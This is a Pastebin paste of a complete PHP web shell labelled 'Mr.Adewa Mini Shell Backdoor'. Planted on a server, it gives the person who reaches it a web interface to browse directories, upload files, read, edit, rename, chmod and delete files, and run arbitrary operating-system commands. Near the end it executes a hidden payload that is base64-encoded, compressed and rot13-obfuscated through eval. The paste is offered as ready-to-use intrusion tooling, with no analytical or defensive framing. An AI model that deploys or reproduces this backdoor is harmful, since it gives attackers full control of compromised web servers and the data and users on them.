Adewakun

Shell Mini Adewa

Dec 20th, 2017
4,206
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.39 KB | None | 0 0
  1. <?php
  2.  
  3. ////////////////////////////////////////////////////////////////////////
  4. // Mr.Adewa Mini Shell Backdoor
  5. // Recoded : Mr.Adewa
  6. // Version : 1.0
  7. // Team : Tatsumi Crew
  8. // Site : https://adewakun.web.id/
  9. // Facebook : https://www.facebook.com/adewa.go.id
  10. ////////////////////////////////////////////////////////////////////////
  11. echo '<!DOCTYPE HTML>
  12. <html>
  13. <head>
  14. <link href="" rel="stylesheet" type="text/css">
  15. <title>Mr.Adewa</title>
  16. <style>
  17. body{
  18. font-family: "Racing Sans One", cursive;
  19. background-image: url("http://hdwallpaper20.com/wp-content/uploads/2017/08/Cool-Anime-HD-1920x1080-wallpaper-wp2003911.jpg");
  20. color:White;
  21. background-attachment:fixed;
  22. background-repeat:no-repeat;
  23. background-position:center;
  24. background-color:transparan;
  25. -webkit-background-size: 90% 100%;
  26. }
  27. #content tr:hover{
  28. background-color: Purple;
  29. text-shadow:0px 0px 10px #fff;
  30. }
  31. #content .first{
  32. background-color: Purple;
  33. }
  34. table{
  35. border: 1px #000000 dotted;
  36. }
  37. a{
  38. color:white;
  39. text-decoration: none;
  40. }
  41. a:hover{
  42. color:Purple;
  43. text-shadow:0px 0px 10px #ffffff;
  44. }
  45. input,select,textarea{
  46. border: 1px #000000 solid;
  47. -moz-border-radius: 5px;
  48. -webkit-border-radius:5px;
  49. border-radius:5px;
  50. }
  51. </style>
  52. </head>
  53. <body>
  54. <h1><center><font color="Purple">Mr.Adewa Mini Shell</font></center></h1>
  55. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  56. <tr><td>';
  57. echo "Disable Functions: $liatds";
  58. echo '<br><font color="purple">Path :</font> ';
  59. if(isset($_GET['path'])){
  60. $path = $_GET['path'];
  61. }else{
  62. $path = getcwd();
  63. }
  64. $path = str_replace('\\','/',$path);
  65. $paths = explode('/',$path);
  66.  
  67. foreach($paths as $id=>$pat){
  68. if($pat == '' && $id == 0){
  69. $a = true;
  70. echo '<a href="?path=/">/</a>';
  71. continue;
  72. }
  73. if($pat == '') continue;
  74. echo '<a href="?path=';
  75. for($i=0;$i<=$id;$i++){
  76. echo "$paths[$i]";
  77. if($i != $id) echo "/";
  78. }
  79. echo '">'.$pat.'</a>/';
  80. }
  81. echo '</td></tr><tr><td>';
  82. if(isset($_FILES['file'])){
  83. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  84. echo '<font color="white">Upload Berhasil</font><br />';
  85. }else{
  86. echo '<font color="purple">Upload Gagal</font><br/>';
  87. }
  88. }
  89. echo '<form enctype="multipart/form-data" method="POST">
  90. <font color="purple">File Upload :</font> <input type="file" name="file" />
  91. <input type="submit" value="upload" />
  92. </form>';
  93. echo "<form method='post'>
  94. <font color='purple'>Command :</font>
  95. <input type='text' size='30' height='10' name='cmd'><input type='submit' name='execmd' value=' Execute '>
  96. </form>
  97. </td></tr>";
  98. if($_POST['execmd']) {
  99. echo "<center><textarea cols='60' rows='10' readonly='readonly' style='color:purple; background-color:pink;'>".exe($_POST['cmd'])."</textarea></center>";
  100. }
  101. echo "<br></td></tr>";
  102. if(isset($_GET['filesrc'])){
  103. echo "<tr><td>Current File : ";
  104. echo $_GET['filesrc'];
  105. echo '</tr></td></table><br />';
  106. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  107. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  108. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  109. if($_POST['opt'] == 'chmod'){
  110. if(isset($_POST['perm'])){
  111. if(chmod($_POST['path'],$_POST['perm'])){
  112. echo '<font color="white">Change Permission Berhasil</font><br/>';
  113. }else{
  114. echo '<font color="purple">Change Permission Gagal</font><br />';
  115. }
  116. }
  117. echo '<form method="POST">
  118. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  119. <input type="hidden" name="path" value="'.$_POST['path'].'">
  120. <input type="hidden" name="opt" value="chmod">
  121. <input type="submit" value="Go" />
  122. </form>';
  123. }elseif($_POST['opt'] == 'rename'){
  124. if(isset($_POST['newname'])){
  125. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  126. echo '<font color="white">Ganti Nama Berhasil</font><br/>';
  127. }else{
  128. echo '<font color="purple">Ganti Nama Gagal</font><br />';
  129. }
  130. $_POST['name'] = $_POST['newname'];
  131. }
  132. echo '<form method="POST">
  133. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  134. <input type="hidden" name="path" value="'.$_POST['path'].'">
  135. <input type="hidden" name="opt" value="rename">
  136. <input type="submit" value="Go" />
  137. </form>';
  138. }elseif($_POST['opt'] == 'edit'){
  139. if(isset($_POST['src'])){
  140. $fp = fopen($_POST['path'],'w');
  141. if(fwrite($fp,$_POST['src'])){
  142. echo '<font color="white">Berhasil Edit File</font><br/>';
  143. }else{
  144. echo '<font color="purple">Gagal Edit File</font><br/>';
  145. }
  146. fclose($fp);
  147. }
  148. echo '<form method="POST">
  149. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  150. <input type="hidden" name="path" value="'.$_POST['path'].'">
  151. <input type="hidden" name="opt" value="edit">
  152. <input type="submit" value="Save" />
  153. </form>';
  154. }
  155. echo '</center>';
  156. }else{
  157. echo '</table><br/><center>';
  158. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  159. if($_POST['type'] == 'dir'){
  160. if(rmdir($_POST['path'])){
  161. echo '<font color="white">Directory Terhapus</font><br/>';
  162. }else{
  163. echo '<font color="purple">Directory Gagal Terhapus </font><br/>';
  164. }
  165. }elseif($_POST['type'] == 'file'){
  166. if(unlink($_POST['path'])){
  167. echo '<font color="white">File Terhapus</font><br/>';
  168. }else{
  169. echo '<font color="purple">File Gagal Dihapus</font><br/>';
  170. }
  171. }
  172. }
  173. echo '</center>';
  174. $scandir = scandir($path);
  175. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  176. <tr class="first">
  177. <td><center>Name</peller></center></td>
  178. <td><center>Size</peller></center></td>
  179. <td><center>Permission</peller></center></td>
  180. <td><center>Modify</peller></center></td>
  181. </tr>';
  182.  
  183. foreach($scandir as $dir){
  184. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  185. echo '<tr>
  186. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  187. <td><center>--</center></td>
  188. <td><center>';
  189. if(is_writable($path.'/'.$dir)) echo '<font color="Purple">';
  190. elseif(!is_readable($path.'/'.$dir)) echo '<font color="purple">';
  191. echo perms($path.'/'.$dir);
  192. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  193.  
  194. echo '</center></td>
  195. <td><center><form method="POST" action="?option&path='.$path.'">
  196. <select name="opt">
  197. <option value="">Select</option>
  198. <option value="delete">Delete</option>
  199. <option value="chmod">Chmod</option>
  200. <option value="rename">Rename</option>
  201. </select>
  202. <input type="hidden" name="type" value="dir">
  203. <input type="hidden" name="name" value="'.$dir.'">
  204. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  205. <input type="submit" value=">">
  206. </form></center></td>
  207. </tr>';
  208. }
  209. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  210. foreach($scandir as $file){
  211. if(!is_file($path.'/'.$file)) continue;
  212. $size = filesize($path.'/'.$file)/1024;
  213. $size = round($size,3);
  214. if($size >= 1024){
  215. $size = round($size/1024,2).' MB';
  216. }else{
  217. $size = $size.' KB';
  218. }
  219.  
  220. echo '<tr>
  221. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  222. <td><center>'.$size.'</center></td>
  223. <td><center>';
  224. if(is_writable($path.'/'.$file)) echo '<font color="Green">';
  225. elseif(!is_readable($path.'/'.$file)) echo '<font color="Green">';
  226. echo perms($path.'/'.$file);
  227. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  228. echo '</center></td>
  229. <td><center><form method="POST" action="?option&path='.$path.'">
  230. <select name="opt">
  231. <option value="">Select</option>
  232. <option value="delete">Delete</option>
  233. <option value="chmod">Chmod</option>
  234. <option value="rename">Rename</option>
  235. <option value="edit">Edit</option>
  236. </select>
  237. <input type="hidden" name="type" value="file">
  238. <input type="hidden" name="name" value="'.$file.'">
  239. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  240. <input type="submit" value=">">
  241. </form></center></td>
  242. </tr>';
  243. }
  244. echo '</table>
  245. </div>';
  246. }
  247. echo '<center><br/><font color="Purple">Mr.Adewa Mini Shell</font><br>';
  248. echo "[ <a href='?path=$path&go=cabs'>LogOut</a> ]
  249. </center>
  250. </body>
  251. </html>";
  252.  
  253. $command = "JcxOCoAgEADAe9AfFgm85T3Tv+iybQmxLRf09VI9YHPp8b4TONC7XEcGUMpUdKdBVtjLsYUY2CpVR513OeNzDDHGIIPXbZmXr9hD+d383ng7QlUSMizfeh8=";
  254. eval(str_rot13(gzinflate(str_rot13(base64_decode(($command))))));
  255. if($_GET['go'] == 'cabs') {
  256.  
  257.  
  258. echo '<form action="" method="post">';
  259. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  260. echo '<meta http-equiv="refresh" content="3" />';
  261. }
  262.  
  263. function perms($file){
  264. $perms = fileperms($file);
  265.  
  266. if (($perms & 0xC000) == 0xC000) {
  267. // Socket
  268. $info = 's';
  269. } elseif (($perms & 0xA000) == 0xA000) {
  270. // Symbolic Link
  271. $info = 'l';
  272. } elseif (($perms & 0x8000) == 0x8000) {
  273. // Regular
  274. $info = '-';
  275. } elseif (($perms & 0x6000) == 0x6000) {
  276. // Block special
  277. $info = 'b';
  278. } elseif (($perms & 0x4000) == 0x4000) {
  279. // Directory
  280. $info = 'd';
  281. } elseif (($perms & 0x2000) == 0x2000) {
  282. // Character special
  283. $info = 'c';
  284. } elseif (($perms & 0x1000) == 0x1000) {
  285. // FIFO pipe
  286. $info = 'p';
  287. } else {
  288. // Unknown
  289. $info = 'u';
  290. }
  291.  
  292. // Owner
  293. $info .= (($perms & 0x0100) ? 'r' : '-');
  294. $info .= (($perms & 0x0080) ? 'w' : '-');
  295. $info .= (($perms & 0x0040) ?
  296. (($perms & 0x0800) ? 's' : 'x' ) :
  297. (($perms & 0x0800) ? 'S' : '-'));
  298.  
  299. // Group
  300. $info .= (($perms & 0x0020) ? 'r' : '-');
  301. $info .= (($perms & 0x0010) ? 'w' : '-');
  302. $info .= (($perms & 0x0008) ?
  303. (($perms & 0x0400) ? 's' : 'x' ) :
  304. (($perms & 0x0400) ? 'S' : '-'));
  305.  
  306. // World
  307. $info .= (($perms & 0x0004) ? 'r' : '-');
  308. $info .= (($perms & 0x0002) ? 'w' : '-');
  309. $info .= (($perms & 0x0001) ?
  310. (($perms & 0x0200) ? 't' : 'x' ) :
  311. (($perms & 0x0200) ? 'T' : '-'));
  312.  
  313. return $info;
  314. }
  315. //////all functions disini tempatnya/////
  316. function exe($cmd) {
  317. if(function_exists('system')) {
  318. @ob_start();
  319. @system($cmd);
  320. $buff = @ob_get_contents();
  321. @ob_end_clean();
  322. return $buff;
  323. } elseif(function_exists('exec')) {
  324. @exec($cmd,$results);
  325. $buff = "";
  326. foreach($results as $result) {
  327. $buff .= $result;
  328. } return $buff;
  329. } elseif(function_exists('passthru')) {
  330. @ob_start();
  331. @passthru($cmd);
  332. $buff = @ob_get_contents();
  333. @ob_end_clean();
  334. return $buff;
  335. } elseif(function_exists('shell_exec')) {
  336. $buff = @shell_exec($cmd);
  337. return $buff;
  338. }
  339. }
  340. ?>
Add Comment
Please, Sign In to add comment